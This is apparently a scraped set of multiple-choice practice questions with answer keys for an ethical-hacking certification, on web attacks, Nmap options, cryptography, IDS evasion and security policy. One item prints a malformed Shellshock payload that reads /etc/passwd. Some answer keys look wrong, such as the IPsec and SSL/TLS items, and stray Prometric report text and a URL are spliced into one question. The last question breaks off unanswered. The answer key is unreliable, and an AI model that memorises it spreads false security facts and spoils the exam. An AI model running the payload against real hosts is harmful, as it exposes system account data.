

 Custom View Settings

Topic 1 - Single Topic

Question #1

Topic 1

While performing online banking using a Web browser, a user receives an email that contains a link to an interesting Web site. When the user clicks on the link, another Web browser session starts and displays a video of cats playing a piano. The next business day, the user receives what looks like an email from his bank, indicating that his bank account has been accessed from a foreign country. The email asks the user to call his bank and verify the authorization of a funds transfer that took place. What Web browser-based security vulnerability was exploited to compromise the user?

- A. Clickjacking
- B. Cross-Site Scripting
- C. Cross-Site Request Forgery
- D. Web form input validation

Correct Answer: C

Question #2

Topic 1

Which service in a PKI will vouch for the identity of an individual or company?

- A. KDC
- B. CR
- C. CBC
- D. CA

Correct Answer: D

Identify the web application attack where the attackers exploit vulnerabilities in dynamically generated web pages to inject client-side script into web pages viewed by other users.

- A. LDAP Injection attack
- B. Cross-Site Scripting (XSS)
- C. SQL injection attack
- D. Cross-Site Request Forgery (CSRF)

Correct Answer: *B*

User A is writing a sensitive email message to user B outside the local network. User A has chosen to use PKI to secure his message and ensure only user B can read the sensitive email. At what layer of the OSI layer does the encryption and decryption of the message take place?

- A. Application
- B. Transport
- C. Session
- D. Presentation

Correct Answer: *D*

A new wireless client is configured to join a 802.11 network. This client uses the same hardware and software as many of the other clients on the network. The client can see the network, but cannot connect. A wireless packet sniffer shows that the Wireless Access Point (WAP) is not responding to the association requests being sent by the wireless client. What is a possible source of this problem?

- A. The WAP does not recognize the client's MAC address
- B. The client cannot see the SSID of the wireless network
- C. Client is configured for the wrong channel
- D. The wireless client is not configured to use DHCP

Correct Answer: *A*

If you want to only scan fewer ports than the default scan using Nmap tool, which option would you use?

- A. -r
- B. -F
- C. -P
- D. -sP

Correct Answer: *B*

Which of the following is the structure designed to verify and authenticate the identity of individuals within the enterprise taking part in a data exchange?

- A. SOA
- B. biometrics
- C. single sign on
- D. PKI

Correct Answer: *D*

You are tasked to perform a penetration test. While you are performing information gathering, you find an employee list in Google. You find the receptionist's email, and you send her an email changing the source email to her boss's email (boss@company). In this email, you ask for a pdf with information. She reads your email and sends back a pdf with links. You exchange the pdf links with your malicious links (these links contain malware) and send back the modified pdf, saying that the links don't work. She reads your email, opens the links, and her machine gets infected. You now have access to the company network. What testing method did you use?

- A. Social engineering
- B. Piggybacking
- C. Tailgating
- D. Eavesdropping

Correct Answer: *A*

If a tester is attempting to ping a target that exists but receives no response or a response that states the destination is unreachable, ICMP may be disabled and the network may be using TCP. Which other option could the tester use to get a response from a host using TCP?

- A. Traceroute
- B. Hping
- C. TCP ping
- D. Broadcast ping

Correct Answer: *B*

Which is the first step followed by Vulnerability Scanners for scanning a network?

- A. OS Detection
- B. Firewall detection
- C. TCP/UDP Port scanning
- D. Checking if the remote host is alive

Correct Answer: *D*

Which of the following programs is usually targeted at Microsoft Office products?

- A. Polymorphic virus
- B. Multipart virus
- C. Macro virus
- D. Stealth virus

Correct Answer: *C*

In an internal security audit, the white hat hacker gains control over a user account and attempts to acquire access to another account's confidential files and information. How can he achieve this?

- A. Privilege Escalation
- B. Shoulder-Surfing
- C. Hacking Active Directory
- D. Port Scanning

Correct Answer: *A*

A technician is resolving an issue where a computer is unable to connect to the Internet using a wireless access point. The computer is able to transfer files locally to other machines, but cannot successfully reach the Internet. When the technician examines the IP address and default gateway they are both on the 192.168.1.0/24. Which of the following has occurred?

- A. The computer is not using a private IP address.
- B. The gateway is not routing to a public IP address.
- C. The gateway and the computer are not on the same network.
- D. The computer is using an invalid IP address.

Correct Answer: *B*

Identify the UDP port that Network Time Protocol (NTP) uses as its primary means of communication?

- A. 113
- B. 69
- C. 123
- D. 161

Correct Answer: *C*

Due to a slowdown of normal network operations, the IT department decided to monitor internet traffic for all of the employees. From a legal standpoint, what would be troublesome to take this kind of measure?

- A. All of the employees would stop normal work activities
- B. IT department would be telling employees who the boss is
- C. Not informing the employees that they are going to be monitored could be an invasion of privacy.
- D. The network could still experience traffic slow down.

Correct Answer: *C*

Which of the following tools performs comprehensive tests against web servers, including dangerous files and CGIs?

- A. Nikto
- B. John the Ripper
- C. Dsniff
- D. Snort

Correct Answer: A

An incident investigator asks to receive a copy of the event logs from all firewalls, proxy servers, and Intrusion Detection Systems (IDS) on the network of an organization that has experienced a possible breach of security. When the investigator attempts to correlate the information in all of the logs, the sequence of many of the logged events do not match up.

What is the most likely cause?

- A. The network devices are not all synchronized.
- B. Proper chain of custody was not observed while collecting the logs.
- C. The attacker altered or erased events from the logs.
- D. The security breach was a false positive.

Correct Answer: A

DNS cache snooping is a process of determining if the specified resource address is present in the DNS cache records. It may be useful during the examination of the network to determine what software update resources are used, thus discovering what software is installed.

What command is used to determine if the entry is present in DNS cache?

- A. nslookup -fullrecursive update.antivirus.com
- B. dnsnooping -rt update.antivirus.com
- C. nslookup -norecursive update.antivirus.com
- D. dns --snoop update.antivirus.com

Correct Answer: C

Which of the following is an extremely common IDS evasion technique in the web world?

- A. Spyware
- B. Subnetting
- C. Unicode Characters
- D. Port Knocking

Correct Answer: *C*

John the Ripper is a technical assessment tool used to test the weakness of which of the following?

- A. Passwords
- B. File permissions
- C. Firewall rulesets
- D. Usernames

Correct Answer: *A*

Some clients of TPNQM SA were redirected to a malicious site when they tried to access the TPNQM main site. Bob, a system administrator at TPNQM SA, found that they were victims of DNS Cache Poisoning.

What should Bob recommend to deal with such a threat?

- A. The use of security agents in clients' computers
- B. The use of DNSSEC
- C. The use of double-factor authentication
- D. Client awareness

Correct Answer: *B*

During a black-box pen test you attempt to pass IRC traffic over port 80/TCP from a compromised web enabled host. The traffic gets blocked; however, outbound HTTP traffic is unimpeded. What type of firewall is inspecting outbound traffic?

- A. Circuit
- B. Stateful
- C. Application
- D. Packet Filtering

Correct Answer: B

By using a smart card and pin, you are using a two-factor authentication that satisfies

- A. Something you are and something you remember
- B. Something you have and something you know
- C. Something you know and something you are
- D. Something you have and something you are

Correct Answer: B

⌘.....is an attack type for a rogue Wi-Fi access point that appears to be a legitimate one offered on the premises, but actually has been set up to eavesdrop on wireless communications. It is the wireless version of the phishing scam. An attacker fools wireless users into connecting a laptop or mobile phone to a tainted hotspot by posing as a legitimate provider. This type of attack may be used to steal the passwords of unsuspecting users by either snooping the communication link or by phishing, which involves setting up a fraudulent web site and luring people there.⌘
Fill in the blank with appropriate choice.

- A. Evil Twin Attack
- B. Sinkhole Attack
- C. Collision Attack
- D. Signal Jamming Attack

Correct Answer: A

A regional bank hires your company to perform a security assessment on their network after a recent data breach. The attacker was able to steal financial data from the bank by compromising only a single server. Based on this information, what should be one of your key recommendations to the bank?

- A. Place a front-end web server in a demilitarized zone that only handles external web traffic
- B. Require all employees to change their anti-virus program with a new one
- C. Move the financial data to another server on the same IP subnet
- D. Issue new certificates to the web servers from the root certificate authority

Correct Answer: A

What term describes the amount of risk that remains after the vulnerabilities are classified and the countermeasures have been deployed?

- A. Residual risk
- B. Impact risk
- C. Deferred risk
- D. Inherent risk

Correct Answer: A

Which of the following is the best countermeasure to encrypting ransomwares?

- A. Use multiple antivirus softwares
- B. Pay a ransom
- C. Keep some generation of off-line backup
- D. Analyze the ransomware to get decryption key of encrypted data

Correct Answer: C

Session splicing is an IDS evasion technique in which an attacker delivers data in multiple, small sized packets to the target computer, making it very difficult for an IDS to detect the attack signatures. Which tool can be used to perform session splicing attacks?

- A. tcpsplice
- B. Burp
- C. Hydra
- D. Whisker

Correct Answer: D

You have successfully comprised a server having an IP address of 10.10.0.5. You would like to enumerate all machines in the same network quickly.

What is the best Nmap command you will use?

- A. nmap -T4 -q 10.10.0.0/24
- B. nmap -T4 -F 10.10.0.0/24
- C. nmap -T4 -r 10.10.1.0/24
- D. nmap -T4 -O 10.10.0.0/24

Correct Answer: *B*

As a Certified Ethical Hacker, you were contracted by a private firm to conduct an external security assessment through penetration testing.

What document describes the specifics of the testing, the associated violations, and essentially protects both the organization's interest and your liabilities as a tester?

- A. Service Level Agreement
- B. Project Scope
- C. Rules of Engagement
- D. Non-Disclosure Agreement

Correct Answer: *C*

Which of the following is the BEST way to defend against network sniffing?

- A. Using encryption protocols to secure network communications
- B. Register all machines MAC Address in a Centralized Database
- C. Use Static IP Address
- D. Restrict Physical Access to Server Rooms hosting Critical Servers

Correct Answer: *A*

Which of the following is the least-likely physical characteristic to be used in biometric control that supports a large company?

- A. Iris patterns
- B. Voice
- C. Height and Weight
- D. Fingerprints

Correct Answer: C

Although FTP traffic is not encrypted by default, which layer 3 protocol would allow for end-to-end encryption of the connection?

- A. SFTP
- B. Ipsec
- C. SSL
- D. FTPS

Correct Answer: B

To reach a bank web site, the traffic from workstations must pass through a firewall. You have been asked to review the firewall configuration to ensure that workstations in network 10.10.10.0/24 can only reach the bank web site 10.20.20.1 using https. Which of the following firewall rules meets this requirement?

- A. if (source matches 10.10.10.0/24 and destination matches 10.20.20.1 and port matches 443) then permit
- B. if (source matches 10.10.10.0/24 and destination matches 10.20.20.1 and port matches 80 or 443) then permit
- C. if (source matches 10.20.20.1 and destination matches 10.10.10.0/24 and port matches 443) then permit
- D. if (source matches 10.10.10.0 and destination matches 10.20.20.1 and port matches 443) then permit

Correct Answer: A

Jim's company regularly performs backups of their critical servers. But the company cannot afford to send backup tapes to an off-site vendor for long-term storage and archiving. Instead, Jim's company keeps the backup tapes in a safe in the office. Jim's company is audited each year, and the results from this year's audit show a risk because backup tapes are not stored off-site. The Manager of Information Technology has a plan to take the backup tapes home with him and wants to know what two things he can do to secure the backup tapes while in transit?

- A. Encrypt the backup tapes and transport them in a lock box.
- B. Degauss the backup tapes and transport them in a lock box.
- C. Hash the backup tapes and transport them in a lock box.
- D. Encrypt the backup tapes and use a courier to transport them.

Correct Answer: A

You are the Network Admin, and you get a complaint that some of the websites are no longer accessible. You try to ping the servers and find them to be reachable. Then you type the IP address and then you try on the browser, and find it to be accessible. But they are not accessible when you try using the URL.

What may be the problem?

- A. Traffic is Blocked on UDP Port 53
- B. Traffic is Blocked on TCP Port 80
- C. Traffic is Blocked on TCP Port 54
- D. Traffic is Blocked on UDP Port 80

Correct Answer: A

Which of the following tools is used to detect wireless LANs using the 802.11a/b/g/n WLAN standards on a Linux platform?

- A. Kismet
- B. Abel
- C. Netstumbler
- D. Nessus

Correct Answer: A

You are working as a Security Analyst in a company XYZ that owns the whole subnet range of 23.0.0.0/8 and 192.168.0.0/8. While monitoring the data, you find a high number of outbound connections. You see that IP addresses owned by XYZ (Internal) and private IP addresses are communicating to a Single Public IP. Therefore, the Internal IP addresses are sending data to the Public IP. After further analysis, you find out that this Public IP is a blacklisted IP, and the internal communicating devices are compromised. What kind of attack does the above scenario depict?

- A. Botnet Attack
- B. Spear Phishing Attack
- C. Advanced Persistent Threats
- D. Rootkit Attack

Correct Answer: A

Scenario:

1. Victim opens the attacker's web site.
 2. Attacker sets up a web site which contains interesting and attractive content like "Do you want to make \$1000 in a day?".
 3. Victim clicks to the interesting and attractive content URL.
 4. Attacker creates a transparent "iframe" in front of the URL which the victim attempts to click, so the victim thinks that he/she clicks on the "Do you want to make \$1000 in a day?" URL but actually he/she clicks on the content or URL that exists in the transparent 'iframe' which is setup by the attacker.
- What is the name of the attack which is mentioned in the scenario?

- A. Session Fixation
- B. HTML Injection
- C. HTTP Parameter Pollution
- D. Clickjacking Attack

Correct Answer: D

A network administrator discovers several unknown files in the root directory of his Linux FTP server. One of the files is a tarball, two are shell script files, and the third is a binary file named nc. The FTP server's access logs show that the anonymous user account logged in to the server, uploaded the files, and extracted the contents of the tarball and ran the script using a function provided by the FTP server's software. The ps command shows that the nc file is running as process, and the netstat command shows the nc process is listening on a network port. What kind of vulnerability must be present to make this remote attack possible?

- A. File system permissions
- B. Privilege escalation
- C. Directory traversal
- D. Brute force login

Correct Answer: A

Which of the following programming languages is most susceptible to buffer overflow attacks, due to its lack of a built-in bounds checking mechanism?

Code:

```
#include <string.h> int main(){ char buffer[8];  
strcpy(buffer, "11111111111111111111111111111111"); Output: Segmentation fault
```

- A. C#
- B. Python
- C. Java
- D. C++

Correct Answer: D

Internet Protocol Security IPsec is actually a suite of protocols. Each protocol within the suite provides different functionality. Collective IPsec does everything except.

- A. Protect the payload and the headers
- B. Encrypt
- C. Work at the Data Link Layer
- D. Authenticate

Correct Answer: D

An attacker attaches a rogue router in a network. He wants to redirect traffic to a LAN attached to his router as part of a man-in-the-middle attack. What measure on behalf of the legitimate admin can mitigate this attack?

- A. Make sure that legitimate network routers are configured to run routing protocols with authentication.
- B. Disable all routing protocols and only use static routes
- C. Only using OSPFv3 will mitigate this risk.
- D. Redirection of the traffic cannot happen unless the admin allows it explicitly.

Correct Answer: A

Which method of password cracking takes the most time and effort?

- A. Dictionary attack
- B. Shoulder surfing
- C. Rainbow tables
- D. Brute force

Correct Answer: *D*

An attacker is trying to redirect the traffic of a small office. That office is using their own mail server, DNS server and NTP server because of the importance of their job. The attacker gain access to the DNS server and redirect the direction www.google.com to his own IP address. Now when the employees of the office want to go to Google they are being redirected to the attacker machine. What is the name of this kind of attack?

- A. MAC Flooding
- B. Smurf Attack
- C. DNS spoofing
- D. ARP Poisoning

Correct Answer: *C*

A penetration tester is conducting a port scan on a specific host. The tester found several ports opened that were confusing in concluding the Operating System

(OS) version installed. Considering that NMAP result below, which of the following is likely to be installed on the target machine by the OS?

Starting NMAP 5.21 at

2011-03-15 11:06 NMAP scan report for 172.16.40.65 Host is up (1.00s latency). Not shown: 993 closed ports PORT STATE SERVICE 21/tcp open ftp 23/tcp open telnet 80/tcp open http 139/tcp open netbios-ssn 515/tcp open 631/tcp open ipp 9100/tcp open MAC Address: 00:00:48:0D:EE:8

- A. The host is likely a Linux machine.
- B. The host is likely a printer.
- C. The host is likely a router.
- D. The host is likely a Windows machine.

Correct Answer: *B*

When purchasing a biometric system, one of the considerations that should be reviewed is the processing speed. Which of the following best describes what it is meant by processing?

- A. The amount of time and resources that are necessary to maintain a biometric system
- B. How long it takes to setup individual user accounts
- C. The amount of time it takes to be either accepted or rejected from when an individual provides identification and authentication information
- D. The amount of time it takes to convert biometric data into a template on a smart card

Correct Answer: C

You are attempting to run an Nmap port scan on a web server. Which of the following commands would result in a scan of common ports with the least amount of noise in order to evade IDS?

- A. nmap -A -Pn
- B. nmap -sP -p-65535 -T5
- C. nmap -sT -O -T0
- D. nmap -A --host-timeout 99 -T1

Correct Answer: C

What does the -x flag do in an Nmap scan?

- A. Perform an eXpress scan
- B. Output the results in truncated format to the screen
- C. Output the results in XML format to a file
- D. Perform an Xmas scan

Correct Answer: C

A bank stores and processes sensitive privacy information related to home loans. However, auditing has never been enabled on the system. What is the first step that the bank should take before enabling the audit feature?

- A. Perform a vulnerability scan of the system.
- B. Determine the impact of enabling the audit feature.
- C. Perform a cost/benefit analysis of the audit feature.
- D. Allocate funds for staffing of audit log review.

Correct Answer: B

Which Intrusion Detection System is best applicable for large environments where critical assets on the network need extra scrutiny and is ideal for observing sensitive network segments?

- A. Honeypots
- B. Firewalls
- C. Network-based intrusion detection system (NIDS)
- D. Host-based intrusion detection system (HIDS)

Correct Answer: C

The collection of potentially actionable, overt, and publicly available information is known as

- A. Open-source intelligence
- B. Real intelligence
- C. Social intelligence
- D. Human intelligence

Correct Answer: A

What is one of the advantages of using both symmetric and asymmetric cryptography in SSL/TLS?

- A. Supporting both types of algorithms allows less-powerful devices such as mobile phones to use symmetric encryption instead.
- B. Symmetric algorithms such as AES provide a failsafe when asymmetric methods fail.
- C. Symmetric encryption allows the server to securely transmit the session keys out-of-band.
- D. Asymmetric cryptography is computationally expensive in comparison. However, it is well-suited to securely negotiate keys for use with symmetric cryptography.

Correct Answer: A

The change of a hard drive failure is once every three years. The cost to buy a new hard drive is \$300. It will require 10 hours to restore the OS and software to the new hard disk. It will require a further 4 hours to restore the database from the last backup to the new hard disk. The recovery person earns \$10/hour.

Calculate the SLE, ARO, and ALE. Assume the EF = 1(100%). What is the closest approximate cost of this replacement and recovery operation per year?

- A. \$1320
- B. \$440
- C. \$100
- D. \$146

Correct Answer: *D*

What is the known plaintext attack used against DES which gives the result that encrypting plaintext with one DES key followed by encrypting it with a second

DES key is no more secure than using a single key?

- A. Man-in-the-middle attack
- B. Meet-in-the-middle attack
- C. Replay attack
- D. Traffic analysis attack

Correct Answer: *B*

Steve, a scientist who works in a governmental security agency, developed a technological solution to identify people based on walking patterns and implemented this approach to a physical control access.

A camera captures people walking and identifies the individuals using Steve's approach.

After that, people must approximate their RFID badges. Both the identifications are required to open the door.

In this case, we can say:

- A. Although the approach has two phases, it actually implements just one authentication factor
- B. The solution implements the two authentication factors: physical object and physical characteristic
- C. The solution will have a high level of false positives
- D. Biological motion cannot be used to identify people

Correct Answer: *B*

What is not a PCI compliance recommendation?

- A. Use a firewall between the public network and the payment card data.
- B. Use encryption to protect all transmission of card holder data over any public network.
- C. Rotate employees handling credit card transactions on a yearly basis to different departments.
- D. Limit access to card holder data to as few individuals as possible.

Correct Answer: C

What is the minimum number of network connections in a multihomed firewall?

- A. 3
- B. 5
- C. 4
- D. 2

Correct Answer: A

Suppose your company has just passed a security risk assessment exercise. The results display that the risk of the breach in the main company application is 50%. Security staff has taken some measures and implemented the necessary controls. After that, another security risk assessment was performed showing that risk has decreased to 10%. The risk threshold for the application is 20%. Which of the following risk decisions will be the best for the project in terms of its successful continuation with the most business profit?

- A. Accept the risk
- B. Introduce more controls to bring risk to 0%
- C. Mitigate the risk
- D. Avoid the risk

Correct Answer: A

You need to deploy a new web-based software package for your organization. The package requires three separate servers and needs to be available on the Internet. What is the recommended architecture in terms of server placement?

- A. All three servers need to be placed internally
- B. A web server facing the Internet, an application server on the internal network, a database server on the internal network
- C. A web server and the database server facing the Internet, an application server on the internal network
- D. All three servers need to face the Internet so that they can communicate between themselves

Correct Answer: B

An attacker, using a rogue wireless AP, performed an MITM attack and injected an HTML code to embed a malicious applet in all HTTP connections.

When users accessed any page, the applet ran and exploited many machines.

Which one of the following tools the hacker probably used to inject HTML code?

- A. Wireshark
- B. Ettercap
- C. Aircrack-ng
- D. Tcpdump

Correct Answer: B

Which mode of IPSec should you use to assure security and confidentiality of data within the same LAN?

- A. ESP transport mode
- B. ESP confidential
- C. AH promiscuous
- D. AH Tunnel mode

Correct Answer: A

Hackers often raise the trust level of a phishing message by modeling the email to look similar to the internal email used by the target company. This includes using logos, formatting, and names of the target company. The phishing message will often use the name of the company CEO, President, or Managers. The time a hacker spends performing research to locate this information about a company is known as?

- A. Exploration
- B. Investigation
- C. Reconnaissance
- D. Enumeration

Correct Answer: *C*

Which of the following viruses tries to hide from anti-virus programs by actively altering and corrupting the chosen service call interruptions when they are being run?

- A. Macro virus
- B. Stealth/Tunneling virus
- C. Cavity virus
- D. Polymorphic virus

Correct Answer: *B*

The “Gray-box testing” methodology enforces what kind of restriction?

- A. Only the external operation of a system is accessible to the tester.
- B. The internal operation of a system is only partly accessible to the tester.
- C. Only the internal operation of a system is known to the tester.
- D. The internal operation of a system is completely known to the tester.

Correct Answer: *B*

When analyzing the IDS logs, the system administrator noticed an alert was logged when the external router was accessed from the administrator's Computer to update the router configuration. What type of an alert is this?

- A. False negative
- B. True negative
- C. True positive
- D. False positive

Correct Answer: *D*

A large company intends to use Blackberry for corporate mobile phones and a security analyst is assigned to evaluate the possible threats. The analyst will use the Blackjacking attack method to demonstrate how an attacker could circumvent perimeter defenses and gain access to the Prometric Online Testing's Reports https://ibt1.prometric.com/users/custom/report_queue/rq_str... corporate network. What tool should the analyst use to perform a Blackjacking attack?

- A. Paros Proxy
- B. BBProxy
- C. Blooover
- D. BBCrack

Correct Answer: *B*

When you are getting information about a web server, it is very important to know the HTTP Methods (GET, POST, HEAD, PUT, DELETE, TRACE) that are available because there are two critical methods (PUT and DELETE). PUT can upload a file to the server and DELETE can delete a file from the server. You can detect all these methods (GET, POST, HEAD, PUT, DELETE, TRACE) using NMAP script engine. What Nmap script will help you with this task?

- A. http-methods
- B. http_enum
- C. http-headers
- D. http-git

Correct Answer: *A*

Todd has been asked by the security officer to purchase a counter-based authentication system. Which of the following best describes this type of system?

- A. A biometric system that bases authentication decisions on behavioral attributes.
- B. A biometric system that bases authentication decisions on physical attributes.
- C. An authentication system that creates one-time passwords that are encrypted with secret keys.
- D. An authentication system that uses passphrases that are converted into virtual passwords.

Correct Answer: C

Which of the following is a low-tech way of gaining unauthorized access to systems?

- A. Social Engineering
- B. Eavesdropping
- C. Scanning
- D. Sniffing

Correct Answer: A

Which system consists of a publicly available set of databases that contain domain name registration contact information?

- A. WHOIS
- B. CAPTCHA
- C. IANA
- D. IETF

Correct Answer: A

Why is a penetration test considered to be more thorough than vulnerability scan?

- A. Vulnerability scans only do host discovery and port scanning by default.
- B. A penetration test actively exploits vulnerabilities in the targeted infrastructure, while a vulnerability scan does not typically involve active exploitation.
- C. It is not æ" a penetration test is often performed by an automated tool, while a vulnerability scan requires active engagement.
- D. The tools used by penetration testers tend to have much more comprehensive vulnerability databases.

Correct Answer: B

Bob received this text message on his mobile phone: "Hello, this is Scott Smelby from the Yahoo Bank. Kindly contact me for a vital transaction on: scottsmelby@yahoo.com". Which statement below is true?

- A. This is a scam as everybody can get a @yahoo address, not the Yahoo customer service employees.
- B. This is a scam because Bob does not know Scott.
- C. Bob should write to scottmelby@yahoo.com to verify the identity of Scott.
- D. This is probably a legitimate message as it comes from a respectable organization.

Correct Answer: A

```
env x=$((){:};echo exploit bash "c $(cat/etc/passwd)
```

What is the Shellshock bash vulnerability attempting to do on a vulnerable Linux host?

- A. Removes the passwd file
- B. Changes all passwords in passwd
- C. Add new user to the passwd file
- D. Display passwd content to prompt

Correct Answer: D

Which of the following is assured by the use of a hash?

- A. Authentication
- B. Confidentiality
- C. Availability
- D. Integrity

Correct Answer: D

Which results will be returned with the following Google search query? site:target.com "site:Marketing.target.com accounting

- A. Results from matches on the site marketing.target.com that are in the domain target.com but do not include the word accounting.
- B. Results matching all words in the query.
- C. Results for matches on target.com and Marketing.target.com that include the word "accounting"
- D. Results matching "accounting" in domain target.com but not on the site Marketing.target.com

Correct Answer: D

Email is transmitted across the Internet using the Simple Mail Transport Protocol. SMTP does not encrypt email, leaving the information in the message vulnerable to being read by an unauthorized person. SMTP can upgrade a connection between two mail servers to use TLS. Email transmitted by SMTP over TLS is encrypted. What is the name of the command used by SMTP to transmit email over TLS?

- A. OPPORTUNISTICTLS
- B. UPGRADETLS
- C. FORCETLS
- D. STARTTLS

Correct Answer: *D*

In the field of cryptanalysis, what is meant by a “rubber-hose” attack?

- A. Forcing the targeted keystream through a hardware-accelerated device such as an ASIC.
- B. A backdoor placed into a cryptographic algorithm by its creator.
- C. Extraction of cryptographic secrets through coercion or torture.
- D. Attempting to decrypt ciphertext by making logical assumptions about the contents of the original plaintext.

Correct Answer: *C*

You are a Network Security Officer. You have two machines. The first machine (192.168.0.99) has snort installed, and the second machine (192.168.0.150) has kiwi syslog installed. You perform a syn scan in your network, and you notice that kiwi syslog is not receiving the alert message from snort. You decide to run wireshark in the snort machine to check if the messages are going to the kiwi syslog machine. What Wireshark filter will show the connections from the snort machine to kiwi syslog machine?

- A. tcp.srcport= = 514 && ip.src= = 192.168.0.99
- B. tcp.srcport= = 514 && ip.src= = 192.168.150
- C. tcp.dstport= = 514 && ip.dst= = 192.168.0.99
- D. tcp.dstport= = 514 && ip.dst= = 192.168.0.150

Correct Answer: *D*

What two conditions must a digital signature meet?

- A. Has to be the same number of characters as a physical signature and must be unique.
- B. Has to be unforgeable, and has to be authentic.
- C. Must be unique and have special characters.
- D. Has to be legible and neat.

Correct Answer: B

A company's security policy states that all Web browsers must automatically delete their HTTP browser cookies upon terminating. What sort of security breach is this policy attempting to mitigate?

- A. Attempts by attackers to access the user and password information stored in the company's SQL database.
- B. Attempts by attackers to access Web sites that trust the Web browser user by stealing the user's authentication credentials.
- C. Attempts by attackers to access passwords stored on the user's computer without the user's knowledge.
- D. Attempts by attackers to determine the user's Web browser usage patterns, including when sites were visited and for how long.

Correct Answer: B

What is correct about digital signatures?

- A. A digital signature cannot be moved from one signed document to another because it is the hash of the original document encrypted with the private key of the signing party.
- B. Digital signatures may be used in different documents of the same type.
- C. A digital signature cannot be moved from one signed document to another because it is a plain hash of the document content.
- D. Digital signatures are issued once for each user and can be used everywhere until they expire.

Correct Answer: A

An attacker with access to the inside network of a small company launches a successful STP manipulation attack. What will he do next?

- A. He will create a SPAN entry on the spoofed root bridge and redirect traffic to his computer.
- B. He will activate OSPF on the spoofed root bridge.
- C. He will repeat this action so that it escalates to a DoS attack.
- D. He will repeat the same attack against all L2 switches of the network.

Correct Answer: A

You have gained physical access to a Windows 2008 R2 server, which has an accessible disc drive. When you attempt to boot the server and log in, you are unable to guess the password. In your toolkit, you have an Ubuntu 9.10 Linux LiveCD. Which Linux-based tool can change any user's password or activate disabled Windows accounts?

- A. John the Ripper
- B. SET
- C. CHNTPW
- D. Cain & Abel

Correct Answer: C

What does a firewall check to prevent particular ports and applications from getting packets into an organization?

- A. Transport layer port numbers and application layer headers
- B. Presentation layer headers and the session layer port numbers
- C. Network layer headers and the session layer port numbers
- D. Application layer port numbers and the transport layer headers

Correct Answer: A

An attacker has installed a RAT on a host. The attacker wants to ensure that when a user attempts to go to "www.MyPersonalBank.com", the user is directed to a phishing site.

Which file does the attacker need to modify?

- A. Boot.ini
- B. Sudoers
- C. Networks
- D. Hosts

Correct Answer: D

_____ is a set of extensions to DNS that provide the origin authentication of DNS data to DNS clients (resolvers) so as to reduce the threat of DNS poisoning, spoofing, and similar types of attacks.

- A. DNSSEC
- B. Resource records
- C. Resource transfer
- D. Zone transfer

Correct Answer: A

Which of the following incident handling process phases is responsible for defining rules, collaborating human workforce, creating a back-up plan, and testing the plans for an organization?

- A. Preparation phase
- B. Containment phase
- C. Identification phase
- D. Recovery phase

Correct Answer: A

The configuration allows a wired or wireless network interface controller to pass all traffic it receives to the Central Processing Unit (CPU), rather than passing only the frames that the controller is intended to receive.

Which of the following is being described?

- A. Multi-cast mode
- B. Promiscuous mode
- C. WEM
- D. Port forwarding

Correct Answer: B

A large mobile telephony and data network operator has a data center that houses network elements. These are essentially large computers running on Linux.

The perimeter of the data center is secured with firewalls and IPS systems.

What is the best security policy concerning this setup?

- A. Network elements must be hardened with user ids and strong passwords. Regular security tests and audits should be performed.
- B. As long as the physical access to the network elements is restricted, there is no need for additional measures.
- C. There is no need for specific security measures on the network elements as long as firewalls and IPS systems exist.
- D. The operator knows that attacks and down time are inevitable and should have a backup site.

Correct Answer: *A*

PGP, SSL, and IKE are all examples of which type of cryptography?

- A. Digest
- B. Secret Key
- C. Public Key
- D. Hash Algorithm

Correct Answer: *C*

Peter is surfing the internet looking for information about DX Company. Which hacking process is Peter doing?

- A. Scanning
- B. Footprinting
- C. Enumeration
- D. System Hacking

Correct Answer: *B*

A hacker is an intelligent individual with excellent computer skills and the ability to explore a computer's software and hardware without the owner's permission.

Their intention can either be to simply gain knowledge or to illegally make changes.

Which of the following class of hacker refers to an individual who works both offensively and defensively at various times?

- A. White Hat
- B. Suicide Hacker
- C. Gray Hat
- D. Black Hat

Correct Answer: C

During a recent security assessment, you discover the organization has one Domain Name Server (DNS) in a Demilitarized Zone (DMZ) and a second DNS server on the internal network.

What is this type of DNS configuration commonly called?

- A. DynDNS
- B. DNS Scheme
- C. DNSSEC
- D. Split DNS

Correct Answer: D

What kind of detection techniques is being used in antivirus software that identifies malware by collecting data from multiple protected systems and instead of analyzing files locally it's made on the provider's environment?

- A. Behavioral based
- B. Heuristics based
- C. Honeypot based
- D. Cloud based

Correct Answer: D

Which of the following tools is used to analyze the files produced by several packet-capture programs such as tcpdump, WinDump, Wireshark, and EtherPeek?

- A. tcptrace
- B. Nessus
- C. OpenVAS
- D. tcptraceroute

Correct Answer: A

What is the way to decide how a packet will move from an untrusted outside host to a protected inside that is behind a firewall, which permits the hacker to determine which ports are open and if the packets can pass through the packet-filtering of the firewall?

- A. Session hijacking
- B. Firewalking
- C. Man-in-the middle attack
- D. Network sniffing

Correct Answer: B

Which of the following is not a Bluetooth attack?

- A. Bluedriving
- B. Bluesmacking
- C. Bluejacking
- D. Bluesnarfing

Correct Answer: A

What is the role of test automation in security testing?

- A. It is an option but it tends to be very expensive.
- B. It should be used exclusively. Manual testing is outdated because of low speed and possible test setup inconsistencies.
- C. Test automation is not usable in security due to the complexity of the tests.
- D. It can accelerate benchmark tests and repeat them with a consistent test setup. But it cannot replace manual testing completely.

Correct Answer: D

Your company performs penetration tests and security assessments for small and medium-sized business in the local area. During a routine security assessment, you discover information that suggests your client is involved with human trafficking. What should you do?

- A. Confront the client in a respectful manner and ask her about the data.
- B. Copy the data to removable media and keep it in case you need it.
- C. Ignore the data and continue the assessment until completed as agreed.
- D. Immediately stop work and contact the proper legal authorities.

Correct Answer: *D*

While using your bank's online servicing you notice the following string in the URL bar:

`http://www.MyPersonalBank.com/account?id=368940911028389&Damount=10980&Camount=21`

You observe that if you modify the Damount & Camount values and submit the request, that data on the web page reflect the changes.

Which type of vulnerability is present on this site?

- A. Cookie Tampering
- B. SQL Injection
- C. Web Parameter Tampering
- D. XSS Reflection

Correct Answer: *C*

The establishment of a TCP connection involves a negotiation called three-way handshake. What type of message does the client send to the server in order to begin this negotiation?

- A. ACK
- B. SYN
- C. RST
- D. SYN-ACK

Correct Answer: *B*

Which type of security feature stops vehicles from crashing through the doors of a building?

- A. Bollards
- B. Receptionist
- C. Mantrap
- D. Turnstile

Correct Answer: A

The company ABC recently contracts a new accountant. The accountant will be working with the financial statements. Those financial statements need to be approved by the CFO and then they will be sent to the accountant but the CFO is worried because he wants to be sure that the information sent to the accountant was not modified once he approved it. Which of the following options can be useful to ensure the integrity of the data?

- A. The CFO can use a hash algorithm in the document once he approved the financial statements
- B. The CFO can use an excel file with a password
- C. The financial statements can be sent twice, one by email and the other delivered in USB and the accountant can compare both to be sure is the same document
